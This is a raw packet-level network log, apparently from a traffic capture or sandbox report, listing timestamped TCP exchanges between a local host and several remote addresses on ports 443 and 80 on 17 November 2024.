Nov 17, 2024 12:35:19.801132917 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.801182985 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.801187992 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.801515102 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.801554918 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.801559925 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.844804049 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.844856977 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.844862938 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.899446964 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.899476051 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.906392097 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.908463955 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.908473969 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.917610884 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.917664051 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.917676926 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.917685032 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.917731047 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.917751074 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.918015003 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.918071985 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.918078899 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.918939114 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.918992043 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.918997049 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.959192038 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:19.959227085 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:19.959381104 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:19.959731102 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:19.959745884 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:19.961927891 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.961991072 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.961998940 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.962121010 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:19.962284088 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:19.962290049 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:20.002927065 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:20.023778915 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:20.034826040 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:20.034874916 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:20.034890890 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:20.035027981 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:20.035065889 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:20.035073042 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:20.035156012 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:20.035245895 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:20.035491943 CET	49713	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:20.035505056 CET	443	49713	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:20.215915918 CET	49716	443	192.168.2.5	20.12.23.50
Nov 17, 2024 12:35:20.263334036 CET	443	49716	20.12.23.50	192.168.2.5
Nov 17, 2024 12:35:20.456907034 CET	49727	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:20.456938982 CET	443	49727	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:20.457048893 CET	49727	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:20.457251072 CET	49727	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:20.457261086 CET	443	49727	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:20.499162912 CET	443	49716	20.12.23.50	192.168.2.5
Nov 17, 2024 12:35:20.499191046 CET	443	49716	20.12.23.50	192.168.2.5
Nov 17, 2024 12:35:20.499200106 CET	443	49716	20.12.23.50	192.168.2.5
Nov 17, 2024 12:35:20.499233007 CET	443	49716	20.12.23.50	192.168.2.5
Nov 17, 2024 12:35:20.499262094 CET	49716	443	192.168.2.5	20.12.23.50
Nov 17, 2024 12:35:20.499308109 CET	443	49716	20.12.23.50	192.168.2.5
Nov 17, 2024 12:35:20.499350071 CET	443	49716	20.12.23.50	192.168.2.5
Nov 17, 2024 12:35:20.499397039 CET	49716	443	192.168.2.5	20.12.23.50
Nov 17, 2024 12:35:20.499423027 CET	49716	443	192.168.2.5	20.12.23.50
Nov 17, 2024 12:35:20.500250101 CET	443	49716	20.12.23.50	192.168.2.5
Nov 17, 2024 12:35:20.500332117 CET	443	49716	20.12.23.50	192.168.2.5
Nov 17, 2024 12:35:20.500348091 CET	49716	443	192.168.2.5	20.12.23.50
Nov 17, 2024 12:35:20.500420094 CET	49716	443	192.168.2.5	20.12.23.50
Nov 17, 2024 12:35:20.504146099 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:20.504420996 CET	49730	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:20.509080887 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:20.509248972 CET	80	49730	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:20.509433031 CET	49730	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:20.509459019 CET	49730	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:20.514365911 CET	80	49730	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:20.717866898 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:20.717942953 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:20.722096920 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:20.722110987 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:20.722505093 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:20.731775045 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:20.775405884 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:20.984541893 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:20.984603882 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:20.984648943 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:20.984755993 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:20.984772921 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:20.984833002 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.103720903 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.103782892 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.103821993 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.103842020 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.103866100 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.103883982 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.222914934 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.222949028 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.223000050 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.223018885 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.223050117 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.223062038 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.324719906 CET	443	49727	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:21.325578928 CET	49727	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:21.325608015 CET	443	49727	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:21.327138901 CET	443	49727	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:21.327275991 CET	49727	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:21.327914953 CET	49727	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:21.328001976 CET	443	49727	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:21.342529058 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.342565060 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.342622042 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.342639923 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.342686892 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.342686892 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.364212990 CET	49716	443	192.168.2.5	20.12.23.50
Nov 17, 2024 12:35:21.364259005 CET	443	49716	20.12.23.50	192.168.2.5
Nov 17, 2024 12:35:21.379267931 CET	49727	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:21.379280090 CET	443	49727	142.250.74.196	192.168.2.5
Nov 17, 2024 12:35:21.425477028 CET	49727	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:21.461877108 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.461944103 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.461978912 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.462007046 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.462033987 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.462061882 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.531481981 CET	49734	443	192.168.2.5	184.28.90.27
Nov 17, 2024 12:35:21.531512022 CET	443	49734	184.28.90.27	192.168.2.5
Nov 17, 2024 12:35:21.531574965 CET	49734	443	192.168.2.5	184.28.90.27
Nov 17, 2024 12:35:21.532614946 CET	49734	443	192.168.2.5	184.28.90.27
Nov 17, 2024 12:35:21.532634020 CET	443	49734	184.28.90.27	192.168.2.5
Nov 17, 2024 12:35:21.580913067 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.580949068 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.581021070 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.581049919 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.581068039 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.581085920 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.703082085 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.703109026 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.703166008 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.703187943 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.703207016 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.703234911 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.822573900 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.822607040 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.822674036 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.822695017 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.822720051 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.822741985 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.859885931 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.859930992 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.859956980 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.859977961 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.860044956 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.860044956 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.920238972 CET	80	49730	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:21.920300007 CET	49730	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:21.943691969 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.943763018 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.943816900 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.943836927 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:21.943854094 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:21.943875074 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.063200951 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.063256979 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.063318014 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.063332081 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.063353062 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.063374043 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.182343006 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.182373047 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.182423115 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.182442904 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.182459116 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.182533979 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.210899115 CET	49730	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:22.216260910 CET	80	49730	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:22.230003119 CET	49727	443	192.168.2.5	142.250.74.196
Nov 17, 2024 12:35:22.301565886 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.301598072 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.301660061 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.301657915 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.301687956 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.301723003 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.301768064 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.301811934 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.301877022 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.301889896 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.301904917 CET	49722	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.301912069 CET	443	49722	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.341995955 CET	49735	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.342022896 CET	443	49735	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.342716932 CET	49735	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.344863892 CET	49736	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.344981909 CET	443	49736	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.345268965 CET	49735	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.345288038 CET	443	49735	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.345309973 CET	49736	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.346404076 CET	49736	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.346443892 CET	443	49736	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.347362995 CET	49737	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.347435951 CET	443	49737	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.347507954 CET	49737	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.347731113 CET	49737	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.347763062 CET	443	49737	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.348445892 CET	49738	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.348473072 CET	443	49738	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.349024057 CET	49739	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.349050045 CET	443	49739	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.349055052 CET	49738	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.349102974 CET	49739	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.349209070 CET	49739	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.349236012 CET	443	49739	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.349283934 CET	49738	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:22.349311113 CET	443	49738	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:22.395369053 CET	443	49734	184.28.90.27	192.168.2.5
Nov 17, 2024 12:35:22.395459890 CET	49734	443	192.168.2.5	184.28.90.27
Nov 17, 2024 12:35:22.398595095 CET	49734	443	192.168.2.5	184.28.90.27
Nov 17, 2024 12:35:22.398627043 CET	443	49734	184.28.90.27	192.168.2.5
Nov 17, 2024 12:35:22.399051905 CET	443	49734	184.28.90.27	192.168.2.5
Nov 17, 2024 12:35:22.440421104 CET	49734	443	192.168.2.5	184.28.90.27
Nov 17, 2024 12:35:22.483357906 CET	443	49734	184.28.90.27	192.168.2.5
Nov 17, 2024 12:35:22.684806108 CET	443	49734	184.28.90.27	192.168.2.5
Nov 17, 2024 12:35:22.685024023 CET	49734	443	192.168.2.5	184.28.90.27
Nov 17, 2024 12:35:22.685113907 CET	443	49734	184.28.90.27	192.168.2.5
Nov 17, 2024 12:35:22.685147047 CET	49734	443	192.168.2.5	184.28.90.27
Nov 17, 2024 12:35:22.686038017 CET	443	49734	184.28.90.27	192.168.2.5
Nov 17, 2024 12:35:22.686137915 CET	443	49734	184.28.90.27	192.168.2.5
Nov 17, 2024 12:35:22.686214924 CET	49734	443	192.168.2.5	184.28.90.27
Nov 17, 2024 12:35:22.730982065 CET	49740	443	192.168.2.5	184.28.90.27
Nov 17, 2024 12:35:22.731060028 CET	443	49740	184.28.90.27	192.168.2.5
Nov 17, 2024 12:35:22.731158972 CET	49740	443	192.168.2.5	184.28.90.27
Nov 17, 2024 12:35:22.731533051 CET	49740	443	192.168.2.5	184.28.90.27
Nov 17, 2024 12:35:22.731568098 CET	443	49740	184.28.90.27	192.168.2.5
Nov 17, 2024 12:35:22.990221024 CET	80	49730	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:22.990345955 CET	49730	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:23.071031094 CET	443	49738	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.071701050 CET	443	49736	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.072175980 CET	49738	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.072233915 CET	443	49738	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.072587967 CET	49736	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.072609901 CET	443	49736	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.073261976 CET	443	49735	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.073777914 CET	49735	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.073807001 CET	443	49735	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.074430943 CET	49738	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.074440002 CET	443	49738	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.074651957 CET	49736	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.074657917 CET	443	49736	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.074774027 CET	49735	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.074780941 CET	443	49735	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.089869976 CET	443	49737	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.090362072 CET	49737	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.090451002 CET	443	49737	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.090737104 CET	49737	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.090753078 CET	443	49737	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.097531080 CET	443	49739	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.098001003 CET	49739	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.098035097 CET	443	49739	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.098485947 CET	49739	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.098494053 CET	443	49739	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.197484970 CET	443	49738	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.197648048 CET	443	49738	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.197719097 CET	49738	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.197911024 CET	49738	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.197931051 CET	443	49738	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.197946072 CET	49738	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.197952986 CET	443	49738	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.198016882 CET	443	49736	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.198153019 CET	443	49736	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.198206902 CET	49736	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.199831009 CET	49736	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.199842930 CET	443	49736	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.199856997 CET	49736	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.199861050 CET	443	49736	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.201476097 CET	49741	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.201523066 CET	443	49741	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.201559067 CET	443	49735	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.201586008 CET	443	49735	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.201638937 CET	49741	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.201638937 CET	443	49735	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.201664925 CET	49735	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.201690912 CET	49735	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.203680992 CET	49741	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.203697920 CET	443	49741	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.203880072 CET	49735	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.203896999 CET	443	49735	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.203918934 CET	49735	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.203926086 CET	443	49735	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.210128069 CET	49742	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.210164070 CET	443	49742	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.210232973 CET	49742	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.210376024 CET	49742	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.210391998 CET	443	49742	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.212472916 CET	49743	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.212482929 CET	443	49743	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.212619066 CET	49743	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.212743044 CET	49743	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.212755919 CET	443	49743	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.219985962 CET	443	49737	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.220016956 CET	443	49737	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.220082045 CET	49737	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.220140934 CET	443	49737	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.220170975 CET	443	49737	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.220197916 CET	49737	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.220236063 CET	49737	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.220424891 CET	49737	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.220424891 CET	49737	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.220458984 CET	443	49737	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.220482111 CET	443	49737	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.223040104 CET	49744	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.223083019 CET	443	49744	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.223284960 CET	49744	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.223562956 CET	49744	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.223592043 CET	443	49744	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.230482101 CET	443	49739	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.230510950 CET	443	49739	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.230576038 CET	443	49739	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.230608940 CET	49739	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.230674982 CET	49739	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.230674982 CET	49739	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.230674982 CET	49739	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.251885891 CET	49745	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.251935959 CET	443	49745	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.252007961 CET	49745	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.252196074 CET	49745	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.252228022 CET	443	49745	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.530462980 CET	49739	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:23.530488014 CET	443	49739	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:23.574615002 CET	443	49740	184.28.90.27	192.168.2.5
Nov 17, 2024 12:35:23.574697971 CET	49740	443	192.168.2.5	184.28.90.27
Nov 17, 2024 12:35:23.576000929 CET	49740	443	192.168.2.5	184.28.90.27
Nov 17, 2024 12:35:23.576030970 CET	443	49740	184.28.90.27	192.168.2.5
Nov 17, 2024 12:35:23.576287031 CET	443	49740	184.28.90.27	192.168.2.5
Nov 17, 2024 12:35:23.580476046 CET	49740	443	192.168.2.5	184.28.90.27
Nov 17, 2024 12:35:23.627337933 CET	443	49740	184.28.90.27	192.168.2.5
Nov 17, 2024 12:35:23.822479963 CET	443	49740	184.28.90.27	192.168.2.5
Nov 17, 2024 12:35:23.851505041 CET	443	49740	184.28.90.27	192.168.2.5
Nov 17, 2024 12:35:23.851586103 CET	49740	443	192.168.2.5	184.28.90.27
Nov 17, 2024 12:35:23.862138987 CET	49740	443	192.168.2.5	184.28.90.27
Nov 17, 2024 12:35:23.862159967 CET	443	49740	184.28.90.27	192.168.2.5
